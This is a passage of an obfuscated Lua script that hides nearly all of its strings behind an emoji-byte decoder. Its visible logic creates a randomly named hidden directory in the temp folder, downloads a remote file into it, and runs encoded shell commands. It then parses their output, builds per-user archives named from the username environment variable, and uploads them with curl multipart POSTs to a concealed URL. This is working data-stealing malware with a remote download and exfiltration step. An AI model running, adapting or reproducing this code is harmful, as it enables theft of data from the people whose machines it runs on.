    __D("\240\159\144\160\240\159\140\186\240\159\165\165\240\159\144\153\240\159\144\162\240\159\144\139\240\159\144\161\240\159\140\139\240\159\144\179\240\159\140\180\240\159\144\154\240\159\144\162\240\159\166\136\240\159\144\162\240\159\166\128\240\159\140\139\240\159\140\136\240\159\144\172\240\159\144\172\240\159\144\160\240\159\166\128\240\159\144\161\240\159\144\172\240\159\144\161\240\159\144\179\240\159\144\179\240\159\144\162\240\159\140\139\240\159\165\165\240\159\144\139\240\159\140\186\240\159\144\161\240\159\165\165\240\159\140\139\240\159\140\186\240\159\140\186", __K) .. t,
    __D("\240\159\144\160\240\159\140\186\240\159\144\161\240\159\144\153\240\159\166\128\240\159\140\136", __K) .. t,
    __D("\240\159\144\160\240\159\140\186\240\159\144\161\240\159\140\180\240\159\166\128\240\159\140\136\240\159\165\165\240\159\140\136", __K),
    "-w HTTPSTATUS:%{http_code}",
    __D("\240\159\144\160\240\159\140\186\240\159\166\136\240\159\144\160\240\159\166\128\240\159\140\136", __K) .. qc(us .. __D("\240\159\144\179\240\159\144\161", __K) .. ps),
    "-F " .. qc(__D("\240\159\144\172\240\159\140\136\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\161\240\159\144\161\240\159\165\165\240\159\144\172\240\159\144\154\240\159\166\128\240\159\144\179", __K) .. fp),
    qc(u)
  }, (__D("\240\159\144\160\240\159\144\153", __K)))
  local r = rc(cmd) or __D("", __K)
  local b, c = r:match("^(.*)HTTPSTATUS:(%d%d%d)$")
  if c then
    local n = tonumber(c)
    return n and n >= 200 and n < 300, n, b or __D("", __K)
  end
  return false, nil, r
end
local ha = function(s)
  local i = s:find("0x", 1, true) or s:find("0X", 1, true)
  if not i then
    return "0"
  end
  i = i + 2
  local j = i
  while j <= #s do
    local ch = s:sub(j, j)
    local is_hex = ch >= "0" and ch <= "9" or ch >= "a" and ch <= "f" or ch >= "A" and ch <= "F"
    if not is_hex then
      break
    end
    j = j + 1
  end
  if j == i then
    return "0"
  end
  return s:sub(i, j - 1)
end
do
  local addrstr = tostring({})
  local hx = ha(addrstr)
  local jitter = math.floor(os.clock() * 1000000)
  math.randomseed(os.time() + tonumber(hx, 16) + jitter)
  math.random()
  math.random()
  math.random()
end
local function fe(p)
  local f = io.open(p, (__D("\240\159\140\186\240\159\140\180\240\159\144\161\240\159\140\138", __K)))
  if f then
    f:close()
    return true
  end
  return false
end
local function jo(a, b)
  local la = a:sub(-1)
  if la == __D("\240\159\140\138\240\159\144\172", __K) or la == __D("\240\159\144\160\240\159\140\138", __K) then
    return a .. b
  end
  return a .. __D("\240\159\140\138\240\159\144\172", __K) .. b
end
local function ex(c)
  local r = os.execute(c)
  if type(r) == __D("\240\159\144\172\240\159\165\165\240\159\166\136\240\159\144\160\240\159\144\162\240\159\166\136\240\159\144\161\240\159\144\179\240\159\144\179\240\159\144\179\240\159\144\153\240\159\166\136", __K) then
    return r == 0
  end
  if type(r) == __D("\240\159\144\172\240\159\140\180\240\159\144\161\240\159\140\180\240\159\144\162\240\159\144\179\240\159\144\161\240\159\144\162\240\159\144\179\240\159\144\179\240\159\144\154\240\159\144\160\240\159\166\136\240\159\144\172", __K) then
    return r
  end
  return false
end
local function ed(d)
  return ex(__D("\240\159\144\172\240\159\166\128\240\159\144\161\240\159\144\153\240\159\144\162\240\159\140\180\240\159\165\165\240\159\166\136\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161\240\159\140\138\240\159\140\180\240\159\166\128\240\159\165\165\240\159\144\162\240\159\165\165\240\159\144\172\240\159\144\139\240\159\140\180\240\159\144\153\240\159\144\172\240\159\144\172\240\159\144\160\240\159\144\153\240\159\166\128\240\159\144\154\240\159\165\165\240\159\140\138\240\159\140\186\240\159\144\162\240\159\140\138\240\159\144\179\240\159\144\160\240\159\165\165\240\159\140\138\240\159\140\180\240\159\144\139\240\159\166\136\240\159\144\172\240\159\165\165", __K) .. d .. __D("\240\159\144\160\240\159\140\180\240\159\165\165\240\159\140\186\240\159\144\162\240\159\166\136\240\159\144\161\240\159\144\153\240\159\144\179\240\159\144\160\240\159\144\154\240\159\144\153\240\159\144\161\240\159\144\153\240\159\144\162\240\159\144\162\240\159\166\128\240\159\144\161", __K) .. d .. __D("\240\159\144\160\240\159\140\180\240\159\165\165\240\159\140\186\240\159\140\180\240\159\144\160\240\159\144\161\240\159\144\139\240\159\144\160\240\159\144\179\240\159\144\154\240\159\144\139\240\159\140\138\240\159\140\180\240\159\140\136\240\159\144\139\240\159\140\180\240\159\140\136\240\159\144\172\240\159\166\128\240\159\144\162\240\159\140\138", __K))
end
local function q(s)
  return __D("\240\159\144\160\240\159\140\180", __K) .. s:gsub(__D("\240\159\144\160\240\159\140\180", __K), (__D("\240\159\140\138\240\159\144\172\240\159\165\165\240\159\140\138", __K))) .. __D("\240\159\144\160\240\159\140\180", __K)
end
local function dl(u, o)
  return ex(__D("\240\159\144\172\240\159\166\128\240\159\166\136\240\159\144\160\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\162\240\159\140\186\240\159\144\172\240\159\144\139\240\159\140\139\240\159\166\136\240\159\140\139\240\159\144\154\240\159\166\136\240\159\166\128\240\159\144\160\240\159\144\172\240\159\144\160\240\159\166\128\240\159\140\186\240\159\140\138\240\159\144\153\240\159\140\186\240\159\140\139\240\159\166\128\240\159\144\172\240\159\144\161\240\159\144\162\240\159\144\172\240\159\144\172\240\159\140\138\240\159\140\138\240\159\144\179\240\159\166\128\240\159\165\165\240\159\144\160\240\159\144\154\240\159\165\165\240\159\144\160\240\159\140\138\240\159\140\186\240\159\140\186\240\159\140\136\240\159\140\138\240\159\144\162\240\159\166\128\240\159\140\136\240\159\144\154\240\159\144\162\240\159\144\160\240\159\140\186\240\159\166\136\240\159\166\128\240\159\144\172\240\159\144\179\240\159\144\154\240\159\166\128\240\159\144\139\240\159\140\186\240\159\144\161\240\159\140\136\240\159\144\172\240\159\166\136\240\159\144\153\240\159\144\153\240\159\140\186\240\159\140\186\240\159\166\136\240\159\140\139\240\159\140\139\240\159\140\138\240\159\144\172", __K) .. q(o) .. __D("\240\159\144\160\240\159\144\153", __K) .. q(u))
end
local rh = function(n)
  local t = {}
  for i = 1, n do
    t[i] = string.format("%x", math.random(0, 15))
  end
  return table.concat(t)
end
local function rn()
  return rh(8) .. rh(8)
end
local function ltrim(s)
  local i = 1
  while i <= #s do
    local c = s:sub(i, i)
    if c ~= __D("\240\159\144\160\240\159\144\153", __K) and c ~= __D("\240\159\144\161\240\159\144\179", __K) then
      break
    end
    i = i + 1
  end
  return s:sub(i)
end
local function rtrim(s)
  local j = #s
  while j >= 1 do
    local c = s:sub(j, j)
    if c ~= __D("\240\159\144\160\240\159\144\153", __K) and c ~= __D("\240\159\144\161\240\159\144\179", __K) then
      break
    end
    j = j - 1
  end
  return s:sub(1, j)
end
local function trim(s)
  return rtrim(ltrim(s))
end
local for_each_line = function(s, fn)
  local i = 1
  while i <= #s do
    local j = s:find("\n", i, true) or #s + 1
    fn(s:sub(i, j - 1))
    i = j + 1
  end
end
local tp = os.getenv((__D("\240\159\140\138\240\159\140\139\240\159\144\160\240\159\144\160\240\159\144\139\240\159\166\136\240\159\144\179\240\159\166\136", __K))) or __D("\240\159\144\160\240\159\165\165", __K)
local st = jo(tp, rn())
local ou = jo(st, rn() .. __D("\240\159\144\160\240\159\165\165\240\159\144\161\240\159\144\160\240\159\140\136\240\159\165\165\240\159\144\161\240\159\165\165", __K))
ed(st)
if not dl(__D("\240\159\144\172\240\159\144\160\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\180\240\159\166\136\240\159\166\136\240\159\144\160\240\159\140\138\240\159\140\139\240\159\166\128\240\159\140\138\240\159\140\186\240\159\144\162\240\159\144\160\240\159\140\180\240\159\140\138\240\159\144\172\240\159\144\160\240\159\166\128\240\159\140\139\240\159\144\172\240\159\144\161\240\159\144\160\240\159\140\139\240\159\166\128\240\159\140\138\240\159\165\165\240\159\144\139\240\159\140\186\240\159\140\186\240\159\140\138\240\159\144\162\240\159\140\186\240\159\140\180\240\159\165\165\240\159\144\162\240\159\144\139\240\159\140\139\240\159\140\186\240\159\166\136\240\159\140\186\240\159\166\128\240\159\166\128\240\159\144\153\240\159\140\180\240\159\144\179\240\159\140\136\240\159\140\186\240\159\140\136\240\159\140\186\240\159\140\186\240\159\166\136", __K), ou) or not fe(ou) then
  os.exit(1)
end
local function bd(z, b, n, p)
  local s = b .. __D("\240\159\140\138\240\159\144\172", __K) .. n .. __D("\240\159\140\138\240\159\144\172", __K)
  local o = st .. __D("\240\159\140\138\240\159\144\172", __K) .. os.getenv((__D("\240\159\165\165\240\159\166\128\240\159\144\160\240\159\140\180\240\159\144\139\240\159\166\136\240\159\144\179\240\159\166\136\240\159\144\161\240\159\144\179\240\159\140\180\240\159\140\186\240\159\144\179\240\159\144\162\240\159\144\153\240\159\144\139\240\159\144\139\240\159\140\136\240\159\144\161\240\159\140\139\240\159\144\153\240\159\166\128\240\159\165\165\240\159\140\136", __K))) .. __D("\240\159\140\138\240\159\140\138", __K) .. n .. __D("\240\159\144\160\240\159\165\165\240\159\144\161\240\159\144\153\240\159\140\136\240\159\140\136\240\159\140\138\240\159\144\160", __K)
  local cmd = table.concat({
    __D("\240\159\144\172\240\159\166\128\240\159\144\161\240\159\144\153\240\159\144\162\240\159\140\180\240\159\165\165\240\159\166\136\240\159\140\186\240\159\166\128\240\159\144\154\240\159\144\161", __K),
    z,
    "a",
    __D("\240\159\144\160\240\159\140\186\240\159\166\136\240\159\140\186\240\159\166\128\240\159\140\139", __K) .. p .. __D("\240\159\144\160\240\159\140\180", __K),
    q(o),
    q(s .. __D("\240\159\140\138\240\159\144\172\240\159\165\165\240\159\144\162", __K)),
    __D("\240\159\144\179\240\159\165\165\240\159\144\161\240\159\166\128\240\159\140\136\240\159\166\128\240\159\144\161\240\159\144\162", __K),
    (__D("\240\159\144\179\240\159\140\180\240\159\140\138\240\159\166\128\240\159\166\128\240\159\144\153\240\159\140\138\240\159\144\161", __K))
  }, (__D("\240\159\144\160\240\159\144\153", __K)))
  os.execute(cmd)
  return o
end
local pc = __D("\240\159\140\186\240\159\144\153\240\159\144\161\240\159\140\180\240\159\140\136\240\159\144\154\240\159\144\161\240\159\165\165\240\159\144\160\240\159\165\165\240\159\144\153\240\159\144\161\240\159\166\136\240\159\144\161\240\159\166\128\240\159\140\180\240\159\144\162\240\159\140\139\240\159\144\160\240\159\144\179\240\159\140\136\240\159\144\153\240\159\144\172\240\159\140\136\240\159\144\160\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\160\240\159\140\180\240\159\140\186\240\159\165\165\240\159\144\179\240\159\140\180\240\159\140\186\240\159\140\136\240\159\144\153\240\159\144\179\240\159\144\160\240\159\166\128\240\159\144\172\240\159\140\138\240\159\140\180\240\159\166\136\240\159\140\136\240\159\166\136\240\159\140\136\240\159\140\186\240\159\166\128\240\159\144\139\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\153\240\159\144\160\240\159\166\136\240\159\140\180\240\159\144\172\240\159\144\179\240\159\144\162\240\159\166\128\240\159\165\165\240\159\165\165\240\159\165\165\240\159\140\139\240\159\144\179\240\159\140\186\240\159\140\136\240\159\144\153\240\159\144\179\240\159\144\179\240\159\166\136\240\159\166\136\240\159\144\172\240\159\144\172\240\159\140\136\240\159\144\179\240\159\144\161\240\159\166\136\240\159\166\136\240\159\140\180\240\159\144\172\240\159\140\139\240\159\166\128\240\159\140\139\240\159\144\161\240\159\166\136\240\159\144\161\240\159\144\153\240\159\140\180\240\159\144\154\240\159\165\165\240\159\140\136\240\159\165\165\240\159\144\154\240\159\165\165\240\159\166\128\240\159\165\165\240\159\144\153\240\159\166\128\240\159\140\138\240\159\166\136\240\159\165\165\240\159\144\154\240\159\140\139\240\159\144\161\240\159\140\139\240\159\165\165\240\159\144\153\240\159\140\136\240\159\144\179\240\159\166\136\240\159\144\153\240\159\140\136\240\159\140\186\240\159\144\153\240\159\140\186\240\159\140\180\240\159\144\161\240\159\144\179\240\159\144\172\240\159\140\139\240\159\140\138\240\159\144\161\240\159\165\165\240\159\144\160\240\159\144\153\240\159\144\179\240\159\165\165\240\159\166\128\240\159\165\165\240\159\144\139\240\159\166\136\240\159\144\179\240\159\165\165\240\159\166\128\240\159\140\136\240\159\144\172\240\159\165\165\240\159\144\154\240\159\144\162\240\159\140\180\240\159\144\161\240\159\144\161\240\159\165\165\240\159\140\139\240\159\140\136\240\159\140\186\240\159\144\153\240\159\144\153\240\159\140\186\240\159\166\136\240\159\144\161\240\159\140\139\240\159\140\180\240\159\140\139\240\159\144\154\240\159\166\136\240\159\144\162\240\159\144\153\240\159\144\172\240\159\144\154\240\159\140\136\240\159\140\136\240\159\140\136\240\159\144\172\240\159\144\172\240\159\140\139\240\159\144\153\240\159\144\172\240\159\144\162\240\159\144\153\240\159\144\161\240\159\140\180\240\159\165\165\240\159\144\139\240\159\144\179\240\159\144\161\240\159\144\154\240\159\144\172\240\159\144\162\240\159\144\179\240\159\144\172\240\159\144\154\240\159\140\136\240\159\140\180\240\159\144\172\240\159\165\165\240\159\166\128\240\159\140\138\240\159\166\128\240\159\166\136\240\159\144\172\240\159\140\186\240\159\165\165\240\159\140\180\240\159\144\160\240\159\165\165\240\159\165\165\240\159\140\138\240\159\165\165\240\159\140\186\240\159\144\139\240\159\140\138\240\159\140\180\240\159\144\162\240\159\140\186\240\159\144\179\240\159\144\162\240\159\144\154\240\159\144\160\240\159\140\136\240\159\165\165\240\159\166\128\240\159\166\136\240\159\144\172\240\159\144\162\240\159\166\136\240\159\140\139\240\159\144\139\240\159\144\161\240\159\140\136\240\159\144\139\240\159\165\165\240\159\166\128\240\159\144\153\240\159\144\162\240\159\140\136\240\159\140\138\240\159\144\161\240\159\140\138\240\159\144\160\240\159\144\161\240\159\144\154\240\159\144\172\240\159\140\180\240\159\144\153\240\159\144\161\240\159\140\138\240\159\144\160\240\159\144\139\240\159\140\139\240\159\140\180\240\159\144\161\240\159\144\154\240\159\166\136\240\159\144\161\240\159\140\139\240\159\140\139\240\159\140\136\240\159\140\186\240\159\144\179\240\159\140\139\240\159\144\139\240\159\144\162\240\159\144\172\240\159\144\154\240\159\144\160\240\159\165\165\240\159\144\139\240\159\140\180\240\159\165\165\240\159\144\153\240\159\165\165\240\159\144\160\240\159\144\161\240\159\144\162\240\159\144\139\240\159\140\138\240\159\144\162\240\159\166\136\240\159\144\139\240\159\140\180\240\159\140\136\240\159\144\161\240\159\140\136\240\159\140\139\240\159\144\161\240\159\144\154\240\159\144\160\240\159\140\138\240\159\144\139\240\159\144\139\240\159\144\161\240\159\140\139\240\159\165\165\240\159\140\136\240\159\140\139\240\159\144\154\240\159\144\139\240\159\140\180\240\159\140\136\240\159\140\186\240\159\140\138\240\159\166\128\240\159\166\128\240\159\144\153\240\159\144\162\240\159\144\160\240\159\144\172\240\159\165\165\240\159\140\136\240\159\165\165\240\159\144\139\240\159\140\138\240\159\144\153\240\159\144\154\240\159\144\162\240\159\140\138\240\159\166\128\240\159\144\154\240\159\144\179\240\159\165\165\240\159\144\154\240\159\144\153\240\159\140\136\240\159\140\138\240\159\140\138\240\159\144\139\240\159\166\128\240\159\144\172\240\159\144\160\240\159\144\154\240\159\144\161\240\159\144\172\240\159\165\165\240\159\166\128\240\159\140\138\240\159\140\180\240\159\140\186\240\159\144\154\240\159\140\138\240\159\144\162\240\159\144\160\240\159\144\154\240\159\144\161\240\159\144\161\240\159\140\138\240\159\144\172\240\159\166\136\240\159\165\165\240\159\144\153\240\159\140\180\240\159\144\153\240\159\140\186\240\159\144\154\240\159\144\161\240\159\140\139\240\159\165\165\240\159\165\165\240\159\144\179\240\159\140\186\240\159\166\136\240\159\144\160\240\159\144\172\240\159\144\161\240\159\144\153\240\159\144\160\240\159\144\153\240\159\144\139\240\159\144\172\240\159\140\186\240\159\144\160\240\159\140\180\240\159\144\179\240\159\166\136\240\159\140\139\240\159\144\160\240\159\166\136\240\159\166\128\240\159\144\162\240\159\144\154\240\159\140\139\240\159\144\154\240\159\140\180\240\159\144\179\240\159\140\139\240\159\144\153\240\159\140\180\240\159\165\165\240\159\144\154\240\159\140\180\240\159\144\161\240\159\144\172\240\159\140\136\240\159\140\139\240\159\140\180\240\159\144\139\240\159\144\162\240\159\140\138\240\159\144\154\240\159\165\165", __K)
local h = io.popen(pc, (__D("\240\159\140\186\240\159\140\180", __K)))
if h then
  do
    local o = h:read((__D("\240\159\144\160\240\159\144\161\240\159\144\161\240\159\144\172\240\159\144\162\240\159\144\161\240\159\144\161\240\159\144\162", __K)))
    h:close()
    local u, cu = {}, nil
    for_each_line(o, function(l)
      if l:sub(1, 4) == __D("\240\159\165\165\240\159\165\165\240\159\144\161\240\159\144\172\240\159\144\162\240\159\166\136\240\159\144\161\240\159\165\165", __K) then
        local colon = l:find(":", 1, true)
        if colon then
          local v = trim(l:sub(colon + 1))
          u.c = u.c or {}
          u.c.n = v
          u[v] = u.c
        end
      elseif l:sub(1, 3) == __D("\240\159\140\138\240\159\166\128\240\159\144\160\240\159\140\139\240\159\144\139\240\159\140\180", __K) then
        local colon = l:find(":", 1, true)
        if colon and u.c then
          u.c.s = trim(l:sub(colon + 1))
          local f = st .. __D("\240\159\140\138\240\159\144\172", __K) .. os.getenv((__D("\240\159\165\165\240\159\166\128\240\159\144\160\240\159\140\180\240\159\144\139\240\159\166\136\240\159\144\179\240\159\166\136\240\159\144\161\240\159\144\179\240\159\140\180\240\159\140\186\240\159\144\179\240\159\144\162\240\159\144\153\240\159\144\139\240\159\144\139\240\159\140\136\240\159\144\161\240\159\140\139\240\159\144\153\240\159\166\128\240\159\165\165\240\159\140\136", __K))) .. __D("\240\159\140\138\240\159\140\138", __K) .. u.c.n .. __D("\240\159\144\160\240\159\165\165\240\159\144\161\240\159\144\154\240\159\144\162\240\159\144\179\240\159\144\161\240\159\144\172", __K)
          local pc2 = __D("\240\159\140\186\240\159\144\153\240\159\144\161\240\159\140\180\240\159\140\136\240\159\144\154\240\159\144\161\240\159\165\165\240\159\144\160\240\159\165\165\240\159\144\153\240\159\144\161\240\159\166\136\240\159\144\161\240\159\166\128\240\159\140\180\240\159\144\162\240\159\140\139\240\159\144\160\240\159\144\179\240\159\140\136\240\159\144\153\240\159\144\172\240\159\140\136\240\159\144\160\240\159\144\172\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\161\240\159\144\160\240\159\140\180\240\159\140\186\240\159\165\165\240\159\144\179\240\159\140\180\240\159\140\186\240\159\140\136\240\159\144\153\240\159\144\179\240\159\144\160\240\159\166\128\240\159\144\172\240\159\140\138\240\159\140\180\240\159\166\136\240\159\140\136\240\159\166\136\240\159\140\136\240\159\140\186\240\159\166\128\240\159\144\139\240\159\144\179\240\159\166\128\240\159\144\154\240\159\144\153\240\159\144\160\240\159\166\136\240\159\140\180\240\159\144\172\240\159\144\179\240\159\144\162\240\159\166\128\240\159\165\165\240\159\165\165\240\159\165\165\240\159\140\139\240\159\144\179\240\159\140\186\240\159\140\136\240\159\144\153\240\159\144\179\240\159\140\138\240\159\140\139\240\159\144\179\240\159\165\165\240\159\140\186\240\159\144\162\240\159\144\172\240\159\166\128\240\159\140\186\240\159\144\139\240\159\144\153\240\159\144\172\240\159\144\139\240\159\144\161\240\159\140\136\240\159\140\136\240\159\166\136\240\159\144\179\240\159\140\180\240\159\144\154\240\159\144\154\240\159\144\160\240\159\140\136\240\159\144\153\240\159\144\153\240\159\144\153\240\159\166\128\240\159\144\160\240\159\144\154\240\159\140\139\240\159\144\161\240\159\140\138\240\159\166\136\240\159\144\139\240\159\140\180\240\159\144\179\240\159\144\153\240\159\144\139\240\159\140\180\240\159\140\138\240\159\144\161\240\159\166\128\240\159\166\128\240\159\144\179\240\159\140\186\240\159\166\128\240\159\144\160\240\159\144\179\240\159\144\179\240\159\144\160\240\159\140\138\240\159\140\180\240\159\144\179\240\159\144\139\240\159\140\138\240\159\144\179\240\159\166\128\240\159\140\139\240\159\140\186\240\159\144\161\240\159\144\179\240\159\144\162\240\159\140\186\240\159\144\179\240\159\140\138\240\159\144\179\240\159\140\136\240\159\144\139\240\159\140\186\240\159\140\138\240\159\144\162\240\159\165\165\240\159\166\136\240\159\166\136\240\159\140\186\240\159\144\162\240\159\140\136\240\159\144\154\240\159\144\154\240\159\144\153\240\159\140\186\240\159\166\136\240\159\166\136\240\159\144\162\240\159\166\128\240\159\165\165\240\159\166\128\240\159\166\128\240\159\144\153\240\159\144\162\240\159\140\186\240\159\140\139\240\159\140\180\240\159\144\160\240\159\144\139\240\159\140\138\240\159\144\172\240\159\166\128\240\159\144\154\240\159\165\165\240\159\144\162\240\159\144\154\240\159\165\165\240\159\144\162\240\159\144\160\240\159\140\136\240\159\144\160\240\159\144\154\240\159\140\180\240\159\140\180\240\159\144\139\240\159\144\153\240\159\140\186\240\159\144\154\240\159\144\162\240\159\166\128\240\159\144\172\240\159\144\160\240\159\144\162\240\159\144\161\240\159\140\180\240\159\165\165\240\159\144\179\240\159\144\179\240\159\165\165\240\159\144\153\240\159\144\160\240\159\165\165\240\159\165\165\240\159\165\165\240\159\165\165\240\159\144\161\240\159\144\154\240\159\166\136\240\159\144\154\240\159\144\160\240\159\140\186\240\159\140\136\240\159\144\139\240\159\144\179\240\159\166\136\240\159\165\165\240\159\166\136\240\159\144\154\240\159\140\138\240\159\166\136\240\159\144\139\240\159\144\162\240\159\140\139\240\159\166\128\240\159\144\161\240\159\166\128\240\159\144\139\240\159\144\139\240\159\144\139\240\159\144\154\240\159\140\139\240\159\140\138\240\159\165\165\240\159\144\160\240\159\140\138\240\159\144\160\240\159\144\179\240\159\144\139", __K) .. u.c.s .. __D("\240\159\144\160\240\159\144\162\240\159\165\165\240\159\140\139\240\159\166\128\240\159\144\160\240\159\144\179\240\159\144\160\240\159\144\179\240\159\144\139\240\159\144\154\240\159\140\186\240\159\140\138\240\159\140\180\240\159\140\136\240\159\144\179\240\159\166\128\240\159\144\160", __K) .. f .. __D("\240\159\144\160\240\159\140\180", __K)
          os.execute(pc2)
          uf(f, __D("\240\159\144\172\240\159\144\160\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\180\240\159\166\136\240\159\166\136\240\159\144\160\240\159\140\138\240\159\140\139\240\159\166\128\240\159\140\138\240\159\140\186\240\159\144\162\240\159\144\160\240\159\144\162\240\159\144\179\240\159\140\186\240\159\140\180\240\159\140\180\240\159\140\138\240\159\144\179\240\159\144\139\240\159\144\179\240\159\144\162\240\159\144\162\240\159\140\139\240\159\166\136\240\159\140\180\240\159\144\172\240\159\144\179\240\159\166\136\240\159\165\165\240\159\144\160\240\159\140\186\240\159\140\138\240\159\140\139\240\159\144\154\240\159\140\139\240\159\144\179\240\159\140\139\240\159\140\186\240\159\144\153\240\159\140\136\240\159\144\172\240\159\140\136\240\159\140\139\240\159\140\136\240\159\144\162\240\159\140\136\240\159\144\153\240\159\144\172\240\159\144\172\240\159\140\180\240\159\144\153\240\159\144\160\240\159\144\154\240\159\166\128\240\159\140\180\240\159\144\160\240\159\165\165\240\159\166\128\240\159\165\165\240\159\165\165\240\159\166\128\240\159\140\139\240\159\140\136\240\159\140\186\240\159\144\160\240\159\140\139\240\159\144\160\240\159\166\136\240\159\166\128\240\159\166\136\240\159\140\139\240\159\144\179\240\159\140\186\240\159\140\186\240\159\140\136\240\159\144\172\240\159\144\154\240\159\144\153\240\159\140\180\240\159\140\139\240\159\166\136\240\159\144\139\240\159\144\139\240\159\165\165\240\159\144\154\240\159\144\153\240\159\144\139\240\159\144\139\240\159\166\136\240\159\140\139\240\159\144\179\240\159\166\128\240\159\140\136\240\159\140\180\240\159\140\138\240\159\166\128\240\159\140\180\240\159\144\161\240\159\144\161\240\159\144\160\240\159\140\180\240\159\144\139\240\159\144\154\240\159\144\162\240\159\144\162\240\159\140\180\240\159\144\179\240\159\140\186\240\159\144\161\240\159\144\153\240\159\166\128\240\159\140\138\240\159\140\138\240\159\144\172\240\159\140\180\240\159\140\138\240\159\140\186\240\159\144\179\240\159\140\180\240\159\166\136\240\159\144\162\240\159\140\138\240\159\144\154\240\159\140\180\240\159\166\136\240\159\165\165\240\159\166\136\240\159\144\160\240\159\144\139\240\159\144\172\240\159\140\138\240\159\144\172\240\159\140\186\240\159\144\162\240\159\144\172\240\159\144\172\240\159\144\154\240\159\144\139\240\159\144\139\240\159\166\136\240\159\140\136\240\159\144\179\240\159\144\162\240\159\140\139\240\159\144\162\240\159\144\153\240\159\140\138\240\159\140\138\240\159\144\161\240\159\166\136\240\159\144\160\240\159\144\153\240\159\140\186\240\159\166\128\240\159\140\186\240\159\140\180\240\159\140\136\240\159\140\186\240\159\144\139\240\159\144\162\240\159\144\153\240\159\140\139\240\159\166\128\240\159\140\138\240\159\144\139\240\159\166\128\240\159\144\172\240\159\144\162\240\159\144\154\240\159\144\179\240\159\140\136\240\159\144\160\240\159\165\165\240\159\144\179\240\159\144\153\240\159\144\154\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\186\240\159\140\136\240\159\144\139\240\159\166\128\240\159\140\186\240\159\144\139\240\159\140\180\240\159\144\162\240\159\140\180\240\159\144\154\240\159\144\160\240\159\144\162\240\159\140\138\240\159\144\154\240\159\144\161\240\159\144\161\240\159\144\161\240\159\166\136\240\159\140\138\240\159\140\138\240\159\144\154\240\159\166\136\240\159\166\128\240\159\140\180\240\159\140\138\240\159\144\172\240\159\140\136\240\159\144\153\240\159\140\186\240\159\140\138\240\159\166\136\240\159\140\136\240\159\140\138\240\159\166\128\240\159\144\139\240\159\144\139\240\159\140\139\240\159\144\162\240\159\144\160\240\159\165\165\240\159\144\139\240\159\140\180\240\159\144\139\240\159\165\165\240\159\140\139\240\159\166\128\240\159\165\165\240\159\144\161\240\159\140\186\240\159\140\139\240\159\166\136\240\159\165\165\240\159\140\186\240\159\140\139\240\159\144\139\240\159\165\165\240\159\144\179\240\159\144\160\240\159\144\153\240\159\140\186\240\159\140\136\240\159\144\179\240\159\140\139\240\159\166\128\240\159\140\186\240\159\140\186\240\159\144\153\240\159\144\161\240\159\140\186\240\159\144\160\240\159\144\153\240\159\165\165\240\159\144\162\240\159\144\139\240\159\144\162\240\159\144\172\240\159\140\138\240\159\165\165\240\159\166\128\240\159\144\179\240\159\140\180\240\159\144\161\240\159\144\161\240\159\140\186\240\159\140\180\240\159\144\160\240\159\166\136\240\159\144\153\240\159\140\186\240\159\144\172\240\159\140\180\240\159\144\172\240\159\144\160\240\159\140\136\240\159\144\162\240\159\144\179\240\159\144\153\240\159\140\139\240\159\140\138\240\159\140\186\240\159\140\136\240\159\144\139\240\159\144\139\240\159\140\138\240\159\140\180\240\159\144\160\240\159\140\180\240\159\144\161\240\159\140\139\240\159\144\162\240\159\144\161\240\159\144\172\240\159\166\128\240\159\144\160\240\159\140\139\240\159\144\153\240\159\144\179\240\159\144\154\240\159\166\136\240\159\140\139\240\159\140\138\240\159\165\165\240\159\144\172\240\159\140\139\240\159\140\136\240\159\165\165\240\159\144\179\240\159\144\172\240\159\144\153\240\159\144\153\240\159\144\160\240\159\140\138\240\159\140\180\240\159\144\161", __K), __D("\240\159\140\186\240\159\144\153\240\159\166\136\240\159\140\138\240\159\144\162\240\159\144\179\240\159\144\161\240\159\140\136\240\159\144\179\240\159\144\179\240\159\144\153\240\159\140\186\240\159\166\136\240\159\144\161\240\159\166\128\240\159\140\180\240\159\140\136\240\159\140\186\240\159\144\179\240\159\140\136", __K), (__D("\240\159\140\138\240\159\144\153\240\159\144\160\240\159\144\172\240\159\140\180\240\159\140\180\240\159\166\136\240\159\140\138\240\159\144\160\240\159\140\186\240\159\140\180\240\159\144\161\240\159\165\165\240\159\144\162\240\159\144\154\240\159\144\179\240\159\144\139\240\159\144\153\240\159\144\161\240\159\166\128\240\159\166\128\240\159\165\165\240\159\144\172\240\159\144\160\240\159\144\161\240\159\144\139\240\159\140\136\240\159\140\136\240\159\140\138\240\159\140\138\240\159\144\172\240\159\140\180\240\159\165\165\240\159\166\128\240\159\144\179\240\159\144\179\240\159\166\136\240\159\144\139\240\159\166\128\240\159\140\138\240\159\140\186\240\159\144\139\240\159\144\179\240\159\166\136\240\159\140\180\240\159\144\154\240\159\140\136\240\159\144\139", __K)))
          o = bd(ou, __D("\240\159\165\165\240\159\166\128\240\159\140\138\240\159\144\162\240\159\140\139\240\159\144\161\240\159\144\179\240\159\165\165\240\159\144\160\240\159\140\138\240\159\144\154\240\159\144\172\240\159\144\161\240\159\144\153\240\159\140\180\240\159\140\139\240\159\140\139\240\159\140\139", __K), u.c.n, u.c.s)
          uf(o, __D("\240\159\144\172\240\159\144\160\240\159\166\136\240\159\144\179\240\159\140\136\240\159\140\180\240\159\166\136\240\159\166\136\240\159\144\160\240\159\140\138\240\159\140\139\240\159\166\128\240\159\140\138\240\159\140\186\240\159\144\162\240\159\144\160\240\159\144\162\240\159\144\179\240\159\140\186\240\159\140\180\240\159\140\180\240\159\140\138\240\159\144\179\240\159\144\139\240\159\144\179\240\159\144\162\240\159\144\162\240\159\140\139\240\159\166\136\240\159\140\180\240\159\144\172\240\159\144\179\240\159\166\136\240\159\165\165\240\159\144\160\240\159\140\186\240\159\140\138\240\159\140\139\240\159\144\154\240\159\140\139\240\159\144\179\240\159\140\139\240\159\140\186\240\159\144\153\240\159\140\136\240\159\144\172\240\159\140\136\240\159\140\139\240\159\140\136\240\159\144\162\240\159\140\136\240\159\144\153\240\159\144\172\240\159\144\172\240\159\140\180\240\159\144\153\240\159\144\160\240\159\144\154\240\159\166\128\240\159\140\180\240\159\144\160\240\159\165\165\240\159\166\128\240\159\165\165\240\159\165\165\240\159\166\128\240\159\140\139\240\